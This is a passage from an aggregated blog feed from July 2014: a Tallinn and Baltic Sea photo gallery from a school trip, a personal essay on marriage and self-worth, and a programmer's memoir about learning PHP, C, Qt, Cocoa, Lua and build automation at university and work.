&lt;h2 id="tallinn-old-town" tabindex="-1"&gt;Tallinn Old Town &lt;a class="direct-link" href="https://dustin.lammiman.ca/photos/a-crazy-summer/#tallinn-old-town"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="photo-gallery"&gt;&lt;a href="https://dustin.lammiman.ca/img/-D_TDjJuEl-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/-D_TDjJuEl-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/kXoc6x1_U4-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/kXoc6x1_U4-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/8e8wm0LZsW-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/8e8wm0LZsW-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/WoOmHpIA2j-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/WoOmHpIA2j-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/8_YLIYtszL-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/8_YLIYtszL-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/qANmi-2M_P-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/qANmi-2M_P-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/jqGB65AMDl-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/jqGB65AMDl-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/Yda_K9CFXF-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/Yda_K9CFXF-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/pYtqZVT9dY-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/pYtqZVT9dY-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/-FRqub_ihE-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/-FRqub_ihE-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/YzqeIMDyGt-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/YzqeIMDyGt-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/tUZLW_I036-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/tUZLW_I036-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/imgVbPuxN4-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/imgVbPuxN4-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/JObyIaAJJP-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/JObyIaAJJP-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/sXnNupWWYV-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/sXnNupWWYV-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/lDFaOsgKTp-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/lDFaOsgKTp-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/gZVOwXw06H-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/gZVOwXw06H-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/pYUsJE1Dtf-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/pYUsJE1Dtf-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/Yj7IPogZnu-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/Yj7IPogZnu-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/mEdkkd56Kt-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/mEdkkd56Kt-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/o8eZcbXNZd-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/o8eZcbXNZd-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/r6LsB2LFC--960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/r6LsB2LFC--300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/w61qf3w7le-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/w61qf3w7le-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/EI1vCMt_NJ-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/EI1vCMt_NJ-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/urKOhXs3ct-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/urKOhXs3ct-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/IAmeEL1Db_-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/IAmeEL1Db_-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/AxYicOIHgD-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/AxYicOIHgD-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/3Py_si3PQ3-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/3Py_si3PQ3-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/Zu6zKD3HjT-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/Zu6zKD3HjT-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/T2IicqM0Wf-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/T2IicqM0Wf-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/k3GEYvP2yE-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/k3GEYvP2yE-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/un4tSDtGFN-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/un4tSDtGFN-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/78i7Ki7I90-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/78i7Ki7I90-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/wlwk6_QQjM-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/wlwk6_QQjM-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/ipBrTAb--9-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/ipBrTAb--9-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/hQycndAEUx-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/hQycndAEUx-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/hEFI5BfrcQ-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/hEFI5BfrcQ-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/OOEyxro3kA-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/OOEyxro3kA-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/QrKXJXRhvM-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/QrKXJXRhvM-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/lHXc0i1YC7-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/lHXc0i1YC7-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/9N7JUukYlC-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/9N7JUukYlC-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/UV0XrbW0j6-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/UV0XrbW0j6-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/qmSgIbC5c0-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/qmSgIbC5c0-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/b9HFzfBo2i-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/b9HFzfBo2i-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/LrTy7BAbDD-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/LrTy7BAbDD-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/sL4ct8NO3M-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/sL4ct8NO3M-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/aW76jj_vvt-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/aW76jj_vvt-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/owiI2kes-f-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/owiI2kes-f-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/txaAOKA7tB-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/txaAOKA7tB-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/675Sitmsqf-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/675Sitmsqf-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/8vjPrbBh3V-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/8vjPrbBh3V-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/zli3OulNFG-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/zli3OulNFG-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/OyGhDJWjiX-300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/OyGhDJWjiX-300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h2 id="the-baltic-sea-and-a-baptism" tabindex="-1"&gt;The Baltic Sea &amp;amp; a Baptism &lt;a class="direct-link" href="https://dustin.lammiman.ca/photos/a-crazy-summer/#the-baltic-sea-and-a-baptism"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="photo-gallery"&gt;&lt;a href="https://dustin.lammiman.ca/img/EjsszELEDU-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/EjsszELEDU-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/BGbnpPUC22-1920.jpeg"&gt;&lt;img alt="" height="1440" src="https://dustin.lammiman.ca/img/BGbnpPUC22-300.jpeg" width="1920" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/NmwVOFXTav-960.jpeg"&gt;&lt;img alt="" height="720" src="https://dustin.lammiman.ca/img/NmwVOFXTav-300.jpeg" width="960" /&gt;&lt;/a&gt;&lt;a href="https://dustin.lammiman.ca/img/k9Bm3mJix--300.jpeg"&gt;&lt;img alt="" height="400" src="https://dustin.lammiman.ca/img/k9Bm3mJix--300.jpeg" width="300" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;One last note – if you want to learn more about what we did on our trip, one of the students wrote a blog post every day about his experiences. These are part of a larger blog about a trip he is taking with his family, but the earliest posts give a well written summary of the trip from the point of view of a high school student. See &lt;a href="http://phloatingaround.wordpress.com/"&gt;phloatingaround.wordpress.com&lt;/a&gt;&lt;/p&gt;</description><author>Dustin.Lammiman</author><pubDate>Mon, 21 Jul 2014 01:45:33 GMT</pubDate><guid isPermaLink="true">https://dustin.lammiman.ca/photos/a-crazy-summer/</guid></item><item><title>The Damned</title><link>https://blog.varunramesh.net/posts/the-damned/</link><description>A couple weeks ago, I took part in a game jam on itch.io called the AGDG Microgame Jam.</description><author>Varun Ramesh's Blog</author><pubDate>Mon, 21 Jul 2014 00:30:00 GMT</pubDate><guid isPermaLink="true">https://blog.varunramesh.net/posts/the-damned/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-71414.html</link><description>&lt;p&gt;Yet another week has come and gone, and here at the end we once again find ourselves with a collection of fantastic podcasts; some new and only just published, while others now have one more chance at enamoring a pair of fresh ears. Some new, some old, and all equally excellent.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-71414.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 20 Jul 2014 18:44:31 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-71414.html</guid></item><item><title>Be Gentle to You</title><link>https://josh.works/be-gentle-to-you</link><description>&lt;p&gt;There are many types of people in the world, all with different approaches to “getting stuff done”. My approach to doing stuff is different from my wife’s approach. (Who’da thunk?)&lt;/p&gt;

&lt;p&gt;These two years of marriage have revealed much. One of these “revelations” was this: my sense of worth is closely tied to how well I think I’m accomplishing tasks and goals, across a broad spectrum. In some ways, this is good. I set goals, plan how to accomplish them, and even manage to compete a few percentage points of these goals.&lt;/p&gt;

&lt;p&gt;The downsides were subtle, and two-fold:&lt;/p&gt;

&lt;h2 id="1-since-my-sense-of-worth-is-tied-to-accomplishments-i-evaluate-others-in-the-same-way"&gt;1. Since my sense of worth is tied to accomplishments, I evaluate others in the same way&lt;/h2&gt;

&lt;p&gt;Imagine being married to someone who only acts like they love (and like) you &lt;em&gt;only&lt;/em&gt; if you’re industrious and productive. Yikes!&lt;/p&gt;

&lt;h2 id="2-since-my-sense-of-self-worth-is-tied-to-accomplishments-i-feel-guilt-and-shame-when-i-fail-to-meet-whatever-standards-i-imagine-for-myself"&gt;2. Since my sense of self-worth is tied to accomplishments, I feel guilt and shame when I fail to meet whatever standards I imagine for myself&lt;/h2&gt;

&lt;p&gt;This cycle feeds itself, so I’ll either work harder, sort of like penance, or I’ll fall deeper into guilt and shame.&lt;/p&gt;

&lt;p&gt;I said these downsides were subtle, because until about a year ago, I was blind to this thinking. This led to strife in my marriage, as Kristi would feel like I didn’t delight in her unless she was working on some side project. I couldn’t figure out why I wasn’t delighting in her.&lt;/p&gt;

&lt;p&gt;Pro tip: If your loved one says&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I know you love me but it feels like you don’t &lt;em&gt;like&lt;/em&gt; me&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Don’t argue back. That brilliant rebuttle you have? When you say it, in an angry tone of voice, it’ll sound &lt;em&gt;completely self-delusional&lt;/em&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;You’re wrong! I really really LIKE YOU!!!!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Are you comfortable paying a mechanic for their services? I’d suggest you engage a counselor to help you with tricky “mechanical issues” in your marriage. Kristi and I have spent thousands of dollars on counseling, &lt;em&gt;and it’s the best money we’ve ever spent, and it’s a bargain at 5x the price&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Here’s where I would normally want to put next action steps for fixing these problems. The first step to dealing with this was realizing I couldn’t “self-help” my way out of it.
The Gospel speaks to these issues in a far deeper way than anything else can.&lt;/p&gt;

&lt;p&gt;In sum: I am deeply broken. So is Kristi. And we can rejoice in this truth.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5ce4b0278244cea18b/1434910443726/2014-07-06-11-03-11.jpg"&gt;&lt;img alt="My lovely wife. Two years in! (2014)" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5ce4b0278244cea18b_1434910443726_2014-07-06-11-03-11.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;My lovely wife. Two years in! (2014)&lt;/em&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 20 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/be-gentle-to-you</guid></item><item><title>Working and Learning</title><link>https://bastibe.de/2014-07-20-working-and-learning.html</link><description>&lt;p&gt;At the university, I have a big advantage: I can program. So many of my fellow students are programming as their main means of doing science, yet clearly never learned how to program efficiently. It is saddening to see them &amp;quot;fight Matlab&amp;quot; for days, for things that would take a programmer hours.&lt;/p&gt;
&lt;p&gt;So how did I get to this point? After all, I went to the same university and studied the same topics they did. My first introduction to programming was our &lt;em&gt;Introduction to Programming&lt;/em&gt; in the first semester. We learned how to write simple text-based programs in C.&lt;/p&gt;
&lt;h1&gt;My own blogging engine&lt;/h1&gt;
&lt;p&gt;At the time, my fellow students and I wanted to organize our lecture notes, copied exams, and assignments on our own website. Not knowing any better, I picked up PHP and set out to write a little website for this. It turned into a little CMS, all hand-written in PHP, HTML and (almost no) CSS.&lt;/p&gt;
&lt;p&gt;This happened about four weeks into the introductory programming course, so I only knew a few bits of C and didn't appreciate the differences between programming languages yet. Many bad things have been said about PHP, but it allowed me to hack together a blog, file browser, gallery, and calendar with knowing little more about programming than branches and loops.&lt;/p&gt;
&lt;p&gt;It scares me to look at the ease with which I picked up PHP at the time. With more experience, I seem to become more reluctant to try out new things. This might be a very bad thing.&lt;/p&gt;
&lt;h1&gt;C programming at the university&lt;/h1&gt;
&lt;p&gt;In my third semester, a professor offered me a job as an undergraduate research assistant. As my first assignment, he wanted me to program a MIDI interface for Matlab. The idea was to use the Matlab-C interface &lt;a href="http://www.mathworks.de/de/help/matlab/call-mex-files-1.html"&gt;Mex&lt;/a&gt; to connect &lt;a href="http:/portmedia.sourceforge.net/"&gt;portmidi&lt;/a&gt; to Matlab. At this point, I had had two programming courses (C and C++_Matlab), and had read &lt;a href="http://pragprog.com/book/tpp/the-pragmatic-programmer"&gt;&lt;em&gt;The Pragmatic Programmer&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I remember the professor telling me to stop obsessing about that piece of code. He said &amp;quot;You are an engineer, 95% is good enough for engineers&amp;quot;. Yet, reading through this code now, it is &lt;a href="http://tgm.jade-hs.de/web/files/Institut_fr_Hrtechnik_und_Audiologie/Software.php"&gt;some fine C code&lt;/a&gt;. Everything is well-commented, the implementation is clearly split into one Matlab-related part and one portmidi-related part, and there even is an (informal) test suite! To my mind, those extra 5% make an incredible difference! It is astonishing how much my early career has been influenced by &lt;em&gt;The Pragmatic Programmer&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Another project concerned extending a C program that simulated small-room acoustics. It took me eight months to admit defeat. Every week, I would spend ten hours staring at my screen, trying to understand that program. Every week, I would fail in frustration. After eight months, I told the professor that I couldn't do it. A few months later, I told the professor that I would have another go at the project. This time, I read &lt;a href="http://www.trueaudio.com/array/downloads/Image%20Method-Allen%20and%20Berkley%201978.pdf"&gt;the research paper&lt;/a&gt; associated with the program first. After that, the project was completed in one afternoon. Sometimes, just reading the code is not enough. (This is probably more true in academia than anywhere else).&lt;/p&gt;
&lt;h1&gt;Qt and Cocoa and OpenGL&lt;/h1&gt;
&lt;p&gt;I wrote my bachelor's thesis for a small company in southern Germany. At my university, the thesis was supposed to take half a year, and should be written at some company, so students would get some first-hand experience of the real world outside the university.&lt;/p&gt;
&lt;p&gt;The basic algorithm for the thesis was working after a few weeks. Since my boss was more interested in a commercial result than in more research, he proposed that I write a desktop application for it. This is how I was introduced to Qt. Qt is an incredibly complex framework. Luckily for me, it is also an incredibly well-documented framework! As a newcomer to programming, API docs can be a very daunting thing, filled with jargon and implementation detail. This was the first time I learned something mostly from reading the API docs, and I am grateful that I happened to pick Qt for that.&lt;/p&gt;
&lt;p&gt;After finishing my thesis, I worked remotely for the same company, writing another GUI application. This time, the program was to be written in Objective-C/Cocoa. In contrast to Qt, I needed &lt;a href="http://www.bignerdranch.com/we-write/cocoa-programming"&gt;the book&lt;/a&gt; to learn Cocoa. Working through the book was a very different experience than learning Qt from API docs. The book not only described the API, but also things like best practices and programming patterns. As a result, my final program was much easier to understand and extend than the Qt program I wrote earlier.&lt;/p&gt;
&lt;p&gt;Cocoa and Qt show two very different styles of documentation. The Qt documentation is very complete, and very well-written. It is a rare feat for a framework this complex to be learnable from the documentation alone! Doing the same thing with the Cocoa documentation instead of the book would have been painful. The book really went much further than pure API documentation can reasonably go, and my experience was better for it! (By the way, I also learned and used OpenGL during that time. The less said about the OpenGL documentation, the better).&lt;/p&gt;
&lt;h1&gt;Why Software is paid for&lt;/h1&gt;
&lt;p&gt;In the meantime, the company had been bought by a foreign investor. While this meant that my program would never see actual users, it also meant that they could offer me a proper job. And like every good engineering student, I needed Matlab, Photoshop, and Microsoft Office. And like every cliché foreign investor, they replied with &amp;quot;This is too expensive, here is a link to the Pirate Bay&amp;quot;.&lt;/p&gt;
&lt;p&gt;This did not sit well with me. After a bit of soul-searching, and my most interesting and obviously &lt;a href="http://stackoverflow.com/questions/3907076/my-boss-asks-me-to-pirate-software-what-should-i-do"&gt;soon-deleted Stack Overflow question&lt;/a&gt;, I realized that I could not pirate software any longer. My own livelihood depended on people paying for the code I wrote. There was no way I would use other people's code without paying for it.&lt;/p&gt;
&lt;p&gt;And thus we used &lt;a href="http://www.inkscape.org/"&gt;Inkscape&lt;/a&gt; instead of Illustrator, and &lt;a href="http:/scipy.org/"&gt;Python&lt;/a&gt; instead of Matlab. Mere weeks later, I discovered that Inkscape produces (mostly) standard-compatible SVG files that could be opened with any regular text editor, and manipulated with any regular XML parser! It soon became apparent that the open nature of this file format enabled us to use Inkscape for so much more than mere vector graphics! While in retrospect, it was not such a bright idea to use a vector graphics program as a GUI layout editor, it really drove home the value of open file formats and reusability! A lot of the later work on the project would have been impossible had we used Illustrator and Matlab.&lt;/p&gt;
&lt;h1&gt;Automation&lt;/h1&gt;
&lt;p&gt;We were working with a British company on a new &lt;a href="http://www.cadac-sound.com/i/digital/cdc-four/12/"&gt;digital mixing console&lt;/a&gt; at the time. Our team was mostly responsible for the software side of the project, while the British company was mostly concerned with the hardware. One big issue was that in order to get a testable system going, one had to compile some software, run some converter scripts on some files, zip some other files, set up the prototype hardware correctly, then send all the files to the prototype in the right order. Forget one step, or take an outdated version of something, and the system would not work.&lt;/p&gt;
&lt;p&gt;It was a disaster. We would lose days debugging nonexistent issues, only because we had forgotten to update such-and-such library, or renaming some debugging file. It would be easy to blame this on my colleagues. But the reality is, no-one had ever done a project this large before, and our tools were utterly incapable of build automation of this kind.&lt;/p&gt;
&lt;p&gt;In the end, I wrote some crazy Rube Goldberg Machine that integrated GNU make with Visual Studio, and delegated all the packaging and converting to makefiles. It would even download a large set of Unix tools and a full installation of Ruby if need be. I can't say I'm proud of this wild contraption, but anything is better than wasting days debugging non-issues. To its credit, there have been zero issues with wrongly packaged files with this system in place. I can not tell you how much stress and conflict this simple act of automation relieved. Never have a human do a machine's work.&lt;/p&gt;
&lt;h1&gt;Lua and DSLs&lt;/h1&gt;
&lt;p&gt;When I started on the job, a colleague of mine handed me a copy of &amp;quot;Programming for Windows 95&amp;quot;, and told me to read it since he had modeled the internal GUI library after it. This was 2010. I was very unhappy about this. In the following years, I would rework many a subsystem within this library. But the more I changed, the more I had to take responsibility for the library. Before long, I had taken official ownership of the library, and I had to answer to questions and feature requests.&lt;/p&gt;
&lt;p&gt;This turned out to be both a blessing and a curse. On the one hand, it gave me a great deal of freedom and authority in my own little world. On the other hand, I didn't really care for responsibility for this much legacy code in an application domain I was not particularly interested in. Thus being motivated to change things had its upsides though, and I learned a lot when implementing a font rendering engine, a bitmap caching and memory allocation system, and various configuration mechanisms on an embedded platform.&lt;/p&gt;
&lt;p&gt;But, at the end of the day, there is only so much you can do with a bad code base in a bad subset of C++ (largely due to compilers, not people). In another slow-going week when GUI work was not particularly important, I &lt;a href="http://stackoverflow.com/questions/4448835/alternatives-to-lua-as-an-embedded-language"&gt;investigated implementing&lt;/a&gt; a scripting layer for our framework. We were not very optimistic about this, since the scripting engine had to run on a &lt;a href="https://en.wikipedia.org/wiki/Black_fin"&gt;terribly slow embedded processor&lt;/a&gt; that was already running almost at capacity.&lt;/p&gt;
&lt;p&gt;We chose the scripting language Lua for the job, since it was tiny, and easy to embed (in both meanings of the word). Lua turned out to be a stellar choice! As scripting systems often go, the Lua code took over most of the frontend work in the application. Before long, all the GUI layout was done in a Lua DSL instead of XML. Imagine creating 200 buttons in a two-line &lt;code&gt;for&lt;/code&gt; loop instead of 200 lines of XML. Also, I consider the book &lt;a href="http://www.lua.org/pil/"&gt;Programming in Lua&lt;/a&gt; one of the pivotal books in my programming career!&lt;/p&gt;
&lt;p&gt;All the GUI and hardware interaction was done in Lua. The mixing console had some 40000 parameters, and a terrifying number of hardware states. I daresay that it would have been all but impossible to implement the complex interplay between all of these states in a less dynamic environment than Lua. Years later, one of the later maintainers of the product told me how this system had saved his sanity many times. This was one of the proudest moments in my career!&lt;/p&gt;
&lt;p&gt;I vividly remember the feeling of liberation when I transitioned from C++ to Lua. I don't think we would have managed to ship the mixing console in time without Lua. In fact, there was one feature from the old analogue mixing consoles that they never managed to implement in the newer digital consoles, because it was just too hard. With Lua, it was a giant headache, but it worked. Never underestimate the power of a different language when problems seem impossibly hard.&lt;/p&gt;
&lt;h1&gt;The role of boredom in my job&lt;/h1&gt;
&lt;p&gt;The Lua experiment started in a time when work was slow, and idle thoughts had the time to mature into ideas. The system automation was started in a similar time. I was lucky to have had a few of those weeks. Some of them amounted to cool projects in the company, others I spent on improving myself.&lt;/p&gt;
&lt;p&gt;I always had a bit of a fetish for text editing. I just love the act of feeding thoughts to the computer through a keyboard. To me, it is a much more satisfying experience than using a pencil and a sheet of paper. At the university, I used Vim on Linux, then Textmate on OS X, then XCode. On the job, I was then forced to use Visual Studio, which still holds a special place in my heart, as one of the most miserable editing experience I ever had (though Lotus Notes and Microsoft Word only rank lower because I used them less).&lt;/p&gt;
&lt;p&gt;It should come as no surprise then, that I was overjoyed when I discovered &lt;a href="http://www.viemu.com/"&gt;ViEmu&lt;/a&gt;. It really transformed my work at the time -- what was previously a chore was now made enjoyable by the feeling of power conveyed through the Vim key bindings in Visual Studio! And this improved even further when I used another spare week to finally learn how to properly touch-type. These days, I am typing in Emacs, but enough has been written about that already.&lt;/p&gt;
&lt;p&gt;I had one colleague who only used his two index fingers for typing. Seeing him type was maddening. But the worst thing was not his typing, but what he was &lt;em&gt;not&lt;/em&gt; typing. Naturally, variable names were short, documentation was sparse, and code was optimized for brevity. He even resorted to some graphical code editing &lt;a href="http://www.easycode.de/en/products/easycode-cc/structure-diagrams.html"&gt;monstrosity&lt;/a&gt;, just to save himself some typing. I have written a Visual Studio tool that automatically filtered out some of the junk this tool produced, and wrote wrappers around his libraries to make them usable for other people. Seriously, don't be that guy. Typing is a core competency for any developer.&lt;/p&gt;
&lt;h1&gt;Open Source&lt;/h1&gt;
&lt;p&gt;Besides all of the GUI work I did for the company, I was actually hired for audio algorithm development. Since we didn't get a license for Matlab, I quickly grew to love Python instead. At the time, Python was right in the middle of the transition from Python 2 to Python 3, and &lt;a href="http://people.csail.mit.edu/hubert/pyaudio/"&gt;one of the libraries&lt;/a&gt; I needed was Python 2 only. In another one of those fateful slow weeks, I set out to translate it to Python 3.&lt;/p&gt;
&lt;p&gt;I didn't know much Python at the time, so the result was not exactly perfect. The maintainer of the library however was really nice about this, and helped me figuring out the problems with my code. This was the first time I ever talked to any programmer outside my company! And even better, this programmer seemed to be a professor at MIT, or something, and likely a lot more experienced and intelligent than I was! I was incredibly lucky that this first contact with the open source world was such a kind and positive one.&lt;/p&gt;
